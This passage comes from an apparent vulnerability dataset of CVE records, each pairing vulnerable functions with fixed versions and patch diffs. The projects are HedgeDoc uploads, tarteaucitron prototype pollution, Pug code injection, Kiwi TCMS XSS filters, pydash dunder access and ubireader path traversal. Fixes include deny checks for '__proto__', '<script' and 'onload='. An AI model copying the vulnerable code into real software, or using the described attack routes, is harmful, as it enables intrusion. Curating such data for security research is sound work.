"--- a/ubireader/ubifs/output.py\n+++ b/ubireader/ubifs/output.py\n@@ -4,8 +4,12 @@\n         return\n \n     inode = inodes[dent_node.inum]\n-    dent_path = os.path.join(path, dent_node.name)\n-        \n+\n+    if not is_safe_path(path, dent_node.name):\n+        error(extract_dents, 'Warning', 'Path traversal attempt: %s, discarding' % (dent_node.name))\n+        return\n+    dent_path = os.path.realpath(os.path.join(path, dent_node.name))\n+\n     if dent_node.type == UBIFS_ITYPE_DIR:\n         try:\n             if not os.path.exists(dent_path):\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-26286", "cve_description": "HedgeDoc is a collaborative platform for writing and sharing markdown. In HedgeDoc before version 1.7.1 an unauthenticated attacker can upload arbitrary files to the upload storage backend including HTML, JS and PHP files. The problem is patched in HedgeDoc 1.7.1. You should however verify that your uploaded file storage only contains files that are allowed, as uploaded files might still be served. As workaround it's possible to block the `/uploadimage` endpoint on your instance using your reverse proxy. And/or restrict MIME-types and file names served from your upload file storage.", "cwe_info": {"CWE-434": {"name": "Unrestricted Upload of File with Dangerous Type", "description": "The product allows the upload or transfer of dangerous file types that are automatically processed within its environment."}}, "repo": "https://github.com/hedgedoc/hedgedoc", "patch_url": ["https://github.com/hedgedoc/hedgedoc/commit/e9306991cdb5ff2752c1eeba3fedba42aec3c2d8"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_147_1", "commit": "58276eb", "file_path": "lib/web/imageRouter/filesystem.js", "start_line": 8, "end_line": 20, "snippet": "exports.uploadImage = function (imagePath, callback) {\n  if (!callback || typeof callback !== 'function') {\n    logger.error('Callback has to be a function')\n    return\n  }\n\n  if (!imagePath || typeof imagePath !== 'string') {\n    callback(new Error('Image path is missing or wrong'), null)\n    return\n  }\n\n  callback(null, (new URL(path.basename(imagePath), config.serverURL + '/uploads/')).href)\n}"}, {"id": "vul_js_147_2", "commit": "58276eb", "file_path": "lib/web/imageRouter/index.js", "start_line": 13, "end_line": 43, "snippet": "imageRouter.post('/uploadimage', function (req, res) {\n  var form = new formidable.IncomingForm()\n\n  form.keepExtensions = true\n\n  if (config.imageUploadType === 'filesystem') {\n    form.uploadDir = config.uploadsPath\n  }\n\n  form.parse(req, function (err, fields, files) {\n    if (err || !files.image || !files.image.path) {\n      logger.error(`formidable error: ${err}`)\n      errors.errorForbidden(res)\n    } else {\n      logger.debug(`SERVER received uploadimage: ${JSON.stringify(files.image)}`)\n\n      const uploadProvider = require('./' + config.imageUploadType)\n      logger.debug(`imageRouter: Uploading ${files.image.path} using ${config.imageUploadType}`)\n      uploadProvider.uploadImage(files.image.path, function (err, url) {\n        if (err !== null) {\n          logger.error(err)\n          return res.status(500).end('upload image error')\n        }\n        logger.debug(`SERVER sending ${url} to client`)\n        res.send({\n          link: url\n        })\n      })\n    }\n  })\n})"}], "fix_func": [{"id": "fix_js_147_1", "commit": "e930699", "file_path": "lib/web/imageRouter/filesystem.js", "start_line": 9, "end_line": 29, "snippet": "exports.uploadImage = function (imagePath, callback) {\n  if (!callback || typeof callback !== 'function') {\n    logger.error('Callback has to be a function')\n    return\n  }\n\n  if (!imagePath || typeof imagePath !== 'string') {\n    callback(new Error('Image path is missing or wrong'), null)\n    return\n  }\n\n  const fileName = path.basename(imagePath)\n  // move image from temporary path to upload directory\n  try {\n    fs.copyFileSync(imagePath, path.join(config.uploadsPath, fileName))\n  } catch (e) {\n    callback(new Error('Error while moving file'), null)\n    return\n  }\n  callback(null, (new URL(fileName, config.serverURL + '/uploads/')).href)\n}"}, {"id": "fix_js_147_2", "commit": "e930699", "file_path": "lib/web/imageRouter/index.js", "start_line": 17, "end_line": 32, "snippet": "async function checkUploadType (filePath) {\n  const typeFromMagic = await FileType.fromFile(filePath)\n  if (typeFromMagic === undefined) {\n    logger.error(`Image upload error: Could not determine MIME-type`)\n    return false\n  }\n  if (path.extname(filePath) !== '.' + typeFromMagic.ext) {\n    logger.error(`Image upload error: Provided file extension does not match MIME-type`)\n    return false\n  }\n  if (!config.allowedUploadMimeTypes.includes(typeFromMagic.mime)) {\n    logger.error(`Image upload error: MIME-type \"${typeFromMagic.mime}\" of uploaded file not allowed, only \"${config.allowedUploadMimeTypes.join(', ')}\" are allowed`)\n    return false\n  }\n  return true\n}"}, {"id": "fix_js_147_3", "commit": "e930699", "file_path": "lib/web/imageRouter/index.js", "start_line": 35, "end_line": 76, "snippet": "imageRouter.post('/uploadimage', function (req, res) {\n  if (!req.isAuthenticated() && !config.allowAnonymous && !config.allowAnonymousEdits) {\n    logger.error(`Image upload error: Anonymous edits and therefore uploads are not allowed)`)\n    return errors.errorForbidden(res)\n  }\n\n  var form = new formidable.IncomingForm()\n  form.keepExtensions = true\n  const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hedgedoc-'))\n  form.uploadDir = tmpDir\n\n  form.parse(req, async function (err, fields, files) {\n    if (err) {\n      logger.error(`Image upload error: formidable error: ${err}`)\n      rimraf(tmpDir)\n      return errors.errorForbidden(res)\n    } else if (!files.image || !files.image.path) {\n      logger.error(`Image upload error: Upload didn't contain file)`)\n      rimraf.sync(tmpDir)\n      return errors.errorBadRequest(res)\n    } else if (!await checkUploadType(files.image.path)) {\n      rimraf.sync(tmpDir)\n      return errors.errorBadRequest(res)\n    } else {\n      logger.debug(`SERVER received uploadimage: ${JSON.stringify(files.image)}`)\n\n      const uploadProvider = require('./' + config.imageUploadType)\n      logger.debug(`imageRouter: Uploading ${files.image.path} using ${config.imageUploadType}`)\n      uploadProvider.uploadImage(files.image.path, function (err, url) {\n        rimraf.sync(tmpDir)\n        if (err !== null) {\n          logger.error(err)\n          return res.status(500).end('upload image error')\n        }\n        logger.debug(`SERVER sending ${url} to client`)\n        res.send({\n          link: url\n        })\n      })\n    }\n  })\n})"}], "vul_patch": "--- a/lib/web/imageRouter/filesystem.js\n+++ b/lib/web/imageRouter/filesystem.js\n@@ -9,5 +9,13 @@\n     return\n   }\n \n-  callback(null, (new URL(path.basename(imagePath), config.serverURL + '/uploads/')).href)\n+  const fileName = path.basename(imagePath)\n+  // move image from temporary path to upload directory\n+  try {\n+    fs.copyFileSync(imagePath, path.join(config.uploadsPath, fileName))\n+  } catch (e) {\n+    callback(new Error('Error while moving file'), null)\n+    return\n+  }\n+  callback(null, (new URL(fileName, config.serverURL + '/uploads/')).href)\n }\n\n--- a/lib/web/imageRouter/index.js\n+++ b/lib/web/imageRouter/index.js\n@@ -1,31 +1,16 @@\n-imageRouter.post('/uploadimage', function (req, res) {\n-  var form = new formidable.IncomingForm()\n-\n-  form.keepExtensions = true\n-\n-  if (config.imageUploadType === 'filesystem') {\n-    form.uploadDir = config.uploadsPath\n+async function checkUploadType (filePath) {\n+  const typeFromMagic = await FileType.fromFile(filePath)\n+  if (typeFromMagic === undefined) {\n+    logger.error(`Image upload error: Could not determine MIME-type`)\n+    return false\n   }\n-\n-  form.parse(req, function (err, fields, files) {\n-    if (err || !files.image || !files.image.path) {\n-      logger.error(`formidable error: ${err}`)\n-      errors.errorForbidden(res)\n-    } else {\n-      logger.debug(`SERVER received uploadimage: ${JSON.stringify(files.image)}`)\n-\n-      const uploadProvider = require('./' + config.imageUploadType)\n-      logger.debug(`imageRouter: Uploading ${files.image.path} using ${config.imageUploadType}`)\n-      uploadProvider.uploadImage(files.image.path, function (err, url) {\n-        if (err !== null) {\n-          logger.error(err)\n-          return res.status(500).end('upload image error')\n-        }\n-        logger.debug(`SERVER sending ${url} to client`)\n-        res.send({\n-          link: url\n-        })\n-      })\n-    }\n-  })\n-})\n+  if (path.extname(filePath) !== '.' + typeFromMagic.ext) {\n+    logger.error(`Image upload error: Provided file extension does not match MIME-type`)\n+    return false\n+  }\n+  if (!config.allowedUploadMimeTypes.includes(typeFromMagic.mime)) {\n+    logger.error(`Image upload error: MIME-type \"${typeFromMagic.mime}\" of uploaded file not allowed, only \"${config.allowedUploadMimeTypes.join(', ')}\" are allowed`)\n+    return false\n+  }\n+  return true\n+}\n\n--- /dev/null\n+++ b/lib/web/imageRouter/index.js\n@@ -0,0 +1,42 @@\n+imageRouter.post('/uploadimage', function (req, res) {\n+  if (!req.isAuthenticated() && !config.allowAnonymous && !config.allowAnonymousEdits) {\n+    logger.error(`Image upload error: Anonymous edits and therefore uploads are not allowed)`)\n+    return errors.errorForbidden(res)\n+  }\n+\n+  var form = new formidable.IncomingForm()\n+  form.keepExtensions = true\n+  const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hedgedoc-'))\n+  form.uploadDir = tmpDir\n+\n+  form.parse(req, async function (err, fields, files) {\n+    if (err) {\n+      logger.error(`Image upload error: formidable error: ${err}`)\n+      rimraf(tmpDir)\n+      return errors.errorForbidden(res)\n+    } else if (!files.image || !files.image.path) {\n+      logger.error(`Image upload error: Upload didn't contain file)`)\n+      rimraf.sync(tmpDir)\n+      return errors.errorBadRequest(res)\n+    } else if (!await checkUploadType(files.image.path)) {\n+      rimraf.sync(tmpDir)\n+      return errors.errorBadRequest(res)\n+    } else {\n+      logger.debug(`SERVER received uploadimage: ${JSON.stringify(files.image)}`)\n+\n+      const uploadProvider = require('./' + config.imageUploadType)\n+      logger.debug(`imageRouter: Uploading ${files.image.path} using ${config.imageUploadType}`)\n+      uploadProvider.uploadImage(files.image.path, function (err, url) {\n+        rimraf.sync(tmpDir)\n+        if (err !== null) {\n+          logger.error(err)\n+          return res.status(500).end('upload image error')\n+        }\n+        logger.debug(`SERVER sending ${url} to client`)\n+        res.send({\n+          link: url\n+        })\n+      })\n+    }\n+  })\n+})\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-31475", "cve_description": "tarteaucitron.js is a compliant and accessible cookie banner. A vulnerability was identified in tarteaucitron.js prior to 1.20.1, where the addOrUpdate function, used for applying custom texts, did not properly validate input. This allowed an attacker with direct access to the site's source code or a CMS plugin to manipulate JavaScript object prototypes, leading to potential security risks such as data corruption or unintended code execution. An attacker with high privileges could exploit this vulnerability to modify object prototypes, affecting core JavaScript behavior, cause application crashes or unexpected behavior, or potentially introduce further security vulnerabilities depending on the application's architecture. This vulnerability is fixed in 1.20.1.", "cwe_info": {"CWE-1321": {"name": "Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')", "description": "The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype."}}, "repo": "https://github.com/AmauriC/tarteaucitron.js", "patch_url": ["https://github.com/AmauriC/tarteaucitron.js/commit/74c354c413ee3f82dff97a15a0a43942887c2b5b"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_300_1", "commit": "43e06482372dc5f6d4ab0476e0c41fddddf63bec", "file_path": "tarteaucitron.js", "start_line": 2402, "end_line": 2414, "snippet": "    \"AddOrUpdate\" : function(source, custom){\n        /**\n         Utility function to Add or update the fields of obj1 with the ones in obj2\n         */\n        for(var key in custom){\n            if(custom[key] instanceof Object){\n                source[key] = tarteaucitron.AddOrUpdate(source[key], custom[key]);\n            }else{\n                source[key] = custom[key];\n            }\n        }\n        return source;\n    },"}], "fix_func": [{"id": "fix_js_300_1", "commit": "74c354c413ee3f82dff97a15a0a43942887c2b5b", "file_path": "tarteaucitron.js", "start_line": 2402, "end_line": 2417, "snippet": "    \"AddOrUpdate\" : function(source, custom){\n        /**\n         Utility function to Add or update the fields of obj1 with the ones in obj2\n         */\n        for(var key in custom){\n            if (key === \"__proto__\" || key === \"constructor\") continue;\n            if(custom.hasOwnProperty(key)){\n                if(custom[key] instanceof Object){\n                    source[key] = tarteaucitron.AddOrUpdate(source[key], custom[key]);\n                }else{\n                    source[key] = custom[key];\n                }\n            }\n        }\n        return source;\n    },"}], "vul_patch": "--- a/tarteaucitron.js\n+++ b/tarteaucitron.js\n@@ -3,10 +3,13 @@\n          Utility function to Add or update the fields of obj1 with the ones in obj2\n          */\n         for(var key in custom){\n-            if(custom[key] instanceof Object){\n-                source[key] = tarteaucitron.AddOrUpdate(source[key], custom[key]);\n-            }else{\n-                source[key] = custom[key];\n+            if (key === \"__proto__\" || key === \"constructor\") continue;\n+            if(custom.hasOwnProperty(key)){\n+                if(custom[key] instanceof Object){\n+                    source[key] = tarteaucitron.AddOrUpdate(source[key], custom[key]);\n+                }else{\n+                    source[key] = custom[key];\n+                }\n             }\n         }\n         return source;\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-36361", "cve_description": "Pug through 3.0.2 allows JavaScript code execution if an application accepts untrusted input for the name option of the compileClient, compileFileClient, or compileClientWithDependenciesTracked function. NOTE: these functions are for compiling Pug templates into JavaScript, and there would typically be no reason to allow untrusted callers.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/pugjs/pug", "patch_url": ["https://github.com/pugjs/pug/commit/32acfe8f197dc44c54e8af32c7d7b19aa9d350fb"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_256_1", "commit": "4767caf", "file_path": "packages/pug-code-gen/index.js", "start_line": "50", "end_line": "78", "snippet": "function Compiler(node, options) {\n  this.options = options = options || {};\n  this.node = node;\n  this.bufferedConcatenationCount = 0;\n  this.hasCompiledDoctype = false;\n  this.hasCompiledTag = false;\n  this.pp = options.pretty || false;\n  if (this.pp && typeof this.pp !== 'string') {\n    this.pp = '  ';\n  }\n  if (this.pp && !/^\\s+$/.test(this.pp)) {\n    throw new Error(\n      'The pretty parameter should either be a boolean or whitespace only string'\n    );\n  }\n  this.debug = false !== options.compileDebug;\n  this.indents = 0;\n  this.parentIndents = 0;\n  this.terse = false;\n  this.mixins = {};\n  this.dynamicMixins = false;\n  this.eachCount = 0;\n  if (options.doctype) this.setDoctype(options.doctype);\n  this.runtimeFunctionsUsed = [];\n  this.inlineRuntimeFunctions = options.inlineRuntimeFunctions || false;\n  if (this.debug && this.inlineRuntimeFunctions) {\n    this.runtimeFunctionsUsed.push('rethrow');\n  }\n}"}], "fix_func": [{"id": "fix_js_256_1", "commit": "32acfe8", "file_path": "packages/pug-code-gen/index.js", "start_line": "54", "end_line": "99", "snippet": "function Compiler(node, options) {\n  this.options = options = options || {};\n  this.node = node;\n  this.bufferedConcatenationCount = 0;\n  this.hasCompiledDoctype = false;\n  this.hasCompiledTag = false;\n  this.pp = options.pretty || false;\n  if (this.pp && typeof this.pp !== 'string') {\n    this.pp = '  ';\n  }\n  if (this.pp && !/^\\s+$/.test(this.pp)) {\n    throw new Error(\n      'The pretty parameter should either be a boolean or whitespace only string'\n    );\n  }\n  if (this.options.templateName && !isIdentifier(this.options.templateName)) {\n    throw new Error(\n      'The templateName parameter must be a valid JavaScript identifier if specified.'\n    );\n  }\n  if (\n    this.doctype &&\n    (this.doctype.includes('<') || this.doctype.includes('>'))\n  ) {\n    throw new Error('Doctype can not contain \"<\" or \">\"');\n  }\n  if (this.options.globals && !this.options.globals.every(isIdentifier)) {\n    throw new Error(\n      'The globals option must be an array of valid JavaScript identifiers if specified.'\n    );\n  }\n\n  this.debug = false !== options.compileDebug;\n  this.indents = 0;\n  this.parentIndents = 0;\n  this.terse = false;\n  this.mixins = {};\n  this.dynamicMixins = false;\n  this.eachCount = 0;\n  if (options.doctype) this.setDoctype(options.doctype);\n  this.runtimeFunctionsUsed = [];\n  this.inlineRuntimeFunctions = options.inlineRuntimeFunctions || false;\n  if (this.debug && this.inlineRuntimeFunctions) {\n    this.runtimeFunctionsUsed.push('rethrow');\n  }\n}"}, {"id": "fix_js_256_2", "commit": "32acfe8", "file_path": "packages/pug-code-gen/index.js", "start_line": "42", "end_line": "44", "snippet": "function isIdentifier(name) {\n  return /^[a-zA-Z_$][a-zA-Z0-9_$]*$/.test(name);\n}"}], "vul_patch": "--- a/packages/pug-code-gen/index.js\n+++ b/packages/pug-code-gen/index.js\n@@ -13,6 +13,23 @@\n       'The pretty parameter should either be a boolean or whitespace only string'\n     );\n   }\n+  if (this.options.templateName && !isIdentifier(this.options.templateName)) {\n+    throw new Error(\n+      'The templateName parameter must be a valid JavaScript identifier if specified.'\n+    );\n+  }\n+  if (\n+    this.doctype &&\n+    (this.doctype.includes('<') || this.doctype.includes('>'))\n+  ) {\n+    throw new Error('Doctype can not contain \"<\" or \">\"');\n+  }\n+  if (this.options.globals && !this.options.globals.every(isIdentifier)) {\n+    throw new Error(\n+      'The globals option must be an array of valid JavaScript identifiers if specified.'\n+    );\n+  }\n+\n   this.debug = false !== options.compileDebug;\n   this.indents = 0;\n   this.parentIndents = 0;\n\n--- /dev/null\n+++ b/packages/pug-code-gen/index.js\n@@ -0,0 +1,3 @@\n+function isIdentifier(name) {\n+  return /^[a-zA-Z_$][a-zA-Z0-9_$]*$/.test(name);\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-33977", "cve_description": "Kiwi TCMS is an open source test management system for both manual and automated testing. Kiwi TCMS allows users to upload attachments to test plans, test cases, etc. Earlier versions of Kiwi TCMS had introduced upload validators in order to prevent potentially dangerous files from being uploaded and Content-Security-Policy definition to prevent cross-site-scripting attacks. The upload validation checks were not 100% robust which left the possibility to circumvent them and upload a potentially dangerous file which allows execution of arbitrary JavaScript in the browser. Additionally we've discovered that Nginx's `proxy_pass` directive will strip some headers negating protections built into Kiwi TCMS when served behind a reverse proxy. This issue has been addressed in version 12.4. Users are advised to upgrade. Users unable to upgrade who are serving Kiwi TCMS behind a reverse proxy should make sure that additional header values are still passed to the client browser. If they aren't redefining them inside the proxy configuration.", "cwe_info": {"CWE-79": {"name": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "description": "The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users."}}, "repo": "https://github.com/kiwitcms/Kiwi", "patch_url": ["https://github.com/kiwitcms/Kiwi/commit/d789f4b51025de4f8c747c037d02e1b0da80b034"], "programing_language": "Python", "vul_func": [{"id": "vul_py_21_1", "commit": "ce5b83e", "file_path": "tcms/kiwi_attachments/validators.py", "start_line": 5, "end_line": 9, "snippet": "def deny_uploads_containing_script_tag(uploaded_file):\n    for chunk in uploaded_file.chunks(2048):\n        if chunk.lower().find(b\"<script\") > -1:\n            raise ValidationError(_(\"File contains forbidden <script> tag\"))\n"}], "fix_func": [{"id": "fix_py_21_1", "commit": "d789f4b", "file_path": "tcms/kiwi_attachments/validators.py", "start_line": 5, "end_line": 11, "snippet": "def deny_uploads_containing_script_tag(uploaded_file):\n    for chunk in uploaded_file.chunks(2048):\n        if chunk.lower().find(b\"<script\") > -1:\n            raise ValidationError(_(\"File contains forbidden <script> tag\"))\n\n        if chunk.lower().find(b\"onload=\") > -1:\n            raise ValidationError(_(\"File contains forbidden attribute:\") + \"onload\")"}], "vul_patch": "--- a/tcms/kiwi_attachments/validators.py\n+++ b/tcms/kiwi_attachments/validators.py\n@@ -2,3 +2,6 @@\n     for chunk in uploaded_file.chunks(2048):\n         if chunk.lower().find(b\"<script\") > -1:\n             raise ValidationError(_(\"File contains forbidden <script> tag\"))\n+\n+        if chunk.lower().find(b\"onload=\") > -1:\n+            raise ValidationError(_(\"File contains forbidden attribute:\") + \"onload\")\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-33977:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/kiwi\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-33977/bin/python  hand_test.py\n", "unit_test_cmd": null}
{"cve_id": "CVE-2023-26145", "cve_description": "This affects versions of the package pydash before 6.0.0. A number of pydash methods such as pydash.objects.invoke() and pydash.collections.invoke_map() accept dotted paths (Deep Path Strings) to target a nested Python object, relative to the original source object. These paths can be used to target internal class attributes and dict items, to retrieve, modify or invoke nested Python objects.\r\r**Note:**\r\rThe pydash.objects.invoke() method is vulnerable to Command Injection when the following prerequisites are satisfied:\r\r1) The source object (argument 1) is not a built-in object such as list/dict (otherwise, the __init__.__globals__ path is not accessible)\r\r2) The attacker has control over argument 2 (the path string) and argument 3 (the argument to pass to the invoked method)\r\r\rThe pydash.collections.invoke_map() method is also vulnerable, but is harder to exploit as the attacker does not have direct control over the argument to be passed to the invoked function.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/dgilland/pydash", "patch_url": ["https://github.com/dgilland/pydash/commit/6ff0831ad285fff937cafd2a853f20cc9ae92021"], "programing_language": "Python", "vul_func": [{"id": "vul_py_43_1", "commit": "1947d2a", "file_path": "src/pydash/helpers.py", "start_line": 178, "end_line": 186, "snippet": "def _base_get_object(obj, key, default=UNSET):\n    value = _base_get_item(obj, key, default=UNSET)\n    if value is UNSET:\n        value = default\n        try:\n            value = getattr(obj, key)\n        except Exception:\n            pass\n    return value"}, {"id": "vul_py_43_2", "commit": "1947d2a", "file_path": "src/pydash/helpers.py", "start_line": 189, "end_line": 218, "snippet": "def base_set(obj, key, value, allow_override=True):\n    \"\"\"\n    Set an object's `key` to `value`. If `obj` is a ``list`` and the `key` is the next available\n    index position, append to list; otherwise, pad the list of ``None`` and then append to the list.\n\n    Args:\n        obj (list|dict): Object to assign value to.\n        key (mixed): Key or index to assign to.\n        value (mixed): Value to assign.\n        allow_override (bool): Whether to allow overriding a previously set key.\n    \"\"\"\n    if isinstance(obj, dict):\n        if allow_override or key not in obj:\n            obj[key] = value\n    elif isinstance(obj, list):\n        key = int(key)\n\n        if key < len(obj):\n            if allow_override:\n                obj[key] = value\n        else:\n            if key > len(obj):\n                # Pad list object with None values up to the index key so we can append the value\n                # into the key index.\n                obj[:] = (obj + [None] * key)[:key]\n            obj.append(value)\n    elif (allow_override or not hasattr(obj, key)) and obj is not None:\n        setattr(obj, key, value)\n\n    return obj"}], "fix_func": [{"id": "fix_py_43_1", "commit": "6ff0831ad285fff937cafd2a853f20cc9ae92021", "file_path": "src/pydash/helpers.py", "start_line": 178, "end_line": 187, "snippet": "def _base_get_object(obj, key, default=UNSET):\n    value = _base_get_item(obj, key, default=UNSET)\n    if value is UNSET:\n        _raise_if_restricted_key(key)\n        value = default\n        try:\n            value = getattr(obj, key)\n        except Exception:\n            pass\n    return value"}, {"id": "fix_py_43_2", "commit": "6ff0831ad285fff937cafd2a853f20cc9ae92021", "file_path": "src/pydash/helpers.py", "start_line": 197, "end_line": 227, "snippet": "def base_set(obj, key, value, allow_override=True):\n    \"\"\"\n    Set an object's `key` to `value`. If `obj` is a ``list`` and the `key` is the next available\n    index position, append to list; otherwise, pad the list of ``None`` and then append to the list.\n\n    Args:\n        obj (list|dict): Object to assign value to.\n        key (mixed): Key or index to assign to.\n        value (mixed): Value to assign.\n        allow_override (bool): Whether to allow overriding a previously set key.\n    \"\"\"\n    if isinstance(obj, dict):\n        if allow_override or key not in obj:\n            obj[key] = value\n    elif isinstance(obj, list):\n        key = int(key)\n\n        if key < len(obj):\n            if allow_override:\n                obj[key] = value\n        else:\n            if key > len(obj):\n                # Pad list object with None values up to the index key so we can append the value\n                # into the key index.\n                obj[:] = (obj + [None] * key)[:key]\n            obj.append(value)\n    elif (allow_override or not hasattr(obj, key)) and obj is not None:\n        _raise_if_restricted_key(key)\n        setattr(obj, key, value)\n\n    return obj"}, {"id": "fix_py_43_3", "commit": "6ff0831ad285fff937cafd2a853f20cc9ae92021", "file_path": "src/pydash/helpers.py", "start_line": 19, "end_line": 196, "snippet": "\n#: Dictionary of builtins with keys as the builtin function and values as the string name.\nBUILTINS = {value: key for key, value in builtins.__dict__.items() if isinstance(value, Hashable)}\n\n\ndef callit(iteratee, *args, **kwargs):\n    \"\"\"Inspect argspec of `iteratee` function and only pass the supported arguments when calling\n    it.\"\"\"\n    maxargs = len(args)\n    argcount = kwargs[\"argcount\"] if \"argcount\" in kwargs else getargcount(iteratee, maxargs)\n    argstop = min([maxargs, argcount])\n\n    return iteratee(*args[:argstop])\n\n\ndef getargcount(iteratee, maxargs):\n    \"\"\"Return argument count of iteratee function.\"\"\"\n    if hasattr(iteratee, \"_argcount\"):\n        # Optimization feature where argcount of iteratee is known and properly\n        # set by initiator.\n        return iteratee._argcount\n\n    if isinstance(iteratee, type) or pyd.is_builtin(iteratee):\n        # Only pass single argument to type iteratees or builtins.\n        argcount = 1\n    else:\n        argcount = 1\n\n        try:\n            argcount = _getargcount(iteratee, maxargs)\n        except TypeError:  # pragma: no cover\n            pass\n\n    return argcount\n\n\ndef _getargcount(iteratee, maxargs):\n    argcount = None\n\n    try:\n        # PY2: inspect.signature was added in Python 3.\n        # Try to use inspect.signature when possible since it works better for our purpose of\n        # getting the iteratee argcount since it takes into account the \"self\" argument in callable\n        # classes.\n        sig = inspect.signature(iteratee)\n    except (TypeError, ValueError, AttributeError):\n        pass\n    else:  # pragma: no cover\n        if not any(\n            param.kind == inspect.Parameter.VAR_POSITIONAL for param in sig.parameters.values()\n        ):\n            argcount = len(sig.parameters)\n\n    if argcount is None:\n        argspec = getfullargspec(iteratee)\n        if argspec and not argspec.varargs:  # pragma: no cover\n            # Use inspected arg count.\n            argcount = len(argspec.args)\n\n    if argcount is None:\n        # Assume all args are handleable.\n        argcount = maxargs\n\n    return argcount\n\n\ndef iteriteratee(obj, iteratee=None, reverse=False):\n    \"\"\"Return iterative iteratee based on collection type.\"\"\"\n    if iteratee is None:\n        cbk = pyd.identity\n        argcount = 1\n    else:\n        cbk = pyd.iteratee(iteratee)\n        argcount = getargcount(cbk, maxargs=3)\n\n    items = iterator(obj)\n\n    if reverse:\n        items = reversed(tuple(items))\n\n    for key, item in items:\n        yield callit(cbk, item, key, obj, argcount=argcount), item, key, obj\n\n\ndef iterator(obj):\n    \"\"\"Return iterative based on object type.\"\"\"\n    if isinstance(obj, Mapping):\n        return obj.items()\n    elif hasattr(obj, \"iteritems\"):\n        return obj.iteritems()  # noqa: B301\n    elif hasattr(obj, \"items\"):\n        return iter(obj.items())\n    elif isinstance(obj, Iterable):\n        return enumerate(obj)\n    else:\n        return getattr(obj, \"__dict__\", {}).items()\n\n\ndef base_get(obj, key, default=UNSET):\n    \"\"\"\n    Safely get an item by `key` from a sequence or mapping object when `default` provided.\n\n    Args:\n        obj (list|dict): Sequence or mapping to retrieve item from.\n        key (mixed): Key or index identifying which item to retrieve.\n        default (mixed, optional): Default value to return if `key` not found in `obj`.\n\n    Returns:\n        mixed: `obj[key]`, `obj.key`, or `default`.\n\n    Raises:\n        KeyError: If `obj` is missing key, index, or attribute and no default value provided.\n    \"\"\"\n    if isinstance(obj, dict):\n        value = _base_get_dict(obj, key, default=default)\n    elif not isinstance(obj, (Mapping, Sequence)) or (\n        isinstance(obj, tuple) and hasattr(obj, \"_fields\")\n    ):\n        # Don't use getattr for dict/list objects since we don't want class methods/attributes\n        # returned for them but do allow getattr for namedtuple.\n        value = _base_get_object(obj, key, default=default)\n    else:\n        value = _base_get_item(obj, key, default=default)\n\n    if value is UNSET:\n        # Raise if there's no default provided.\n        raise KeyError(f'Object \"{repr(obj)}\" does not have key \"{key}\"')\n\n    return value\n\n\ndef _base_get_dict(obj, key, default=UNSET):\n    value = obj.get(key, UNSET)\n    if value is UNSET:\n        value = default\n        if not isinstance(key, int):\n            # Try integer key fallback.\n            try:\n                value = obj.get(int(key), default)\n            except Exception:\n                pass\n    return value\n\n\ndef _base_get_item(obj, key, default=UNSET):\n    try:\n        return obj[key]\n    except Exception:\n        pass\n\n    if not isinstance(key, int):\n        try:\n            return obj[int(key)]\n        except Exception:\n            pass\n\n    return default\n\n\ndef _base_get_object(obj, key, default=UNSET):\n    value = _base_get_item(obj, key, default=UNSET)\n    if value is UNSET:\n        _raise_if_restricted_key(key)\n        value = default\n        try:\n            value = getattr(obj, key)\n        except Exception:\n            pass\n    return value\n\n\ndef _raise_if_restricted_key(key):\n    # Prevent access to dunder-methods since this could expose access to globals through leaky\n    # attributes such as obj.__init__.__globals__.\n    if len(key) > 4 and key.isascii() and key.startswith(\"__\") and key.endswith(\"__\"):\n        raise KeyError(f\"access to restricted key {key!r} is not allowed\")\n\n"}], "vul_patch": "--- a/src/pydash/helpers.py\n+++ b/src/pydash/helpers.py\n@@ -1,6 +1,7 @@\n def _base_get_object(obj, key, default=UNSET):\n     value = _base_get_item(obj, key, default=UNSET)\n     if value is UNSET:\n+        _raise_if_restricted_key(key)\n         value = default\n         try:\n             value = getattr(obj, key)\n\n--- a/src/pydash/helpers.py\n+++ b/src/pydash/helpers.py\n@@ -25,6 +25,7 @@\n                 obj[:] = (obj + [None] * key)[:key]\n             obj.append(value)\n     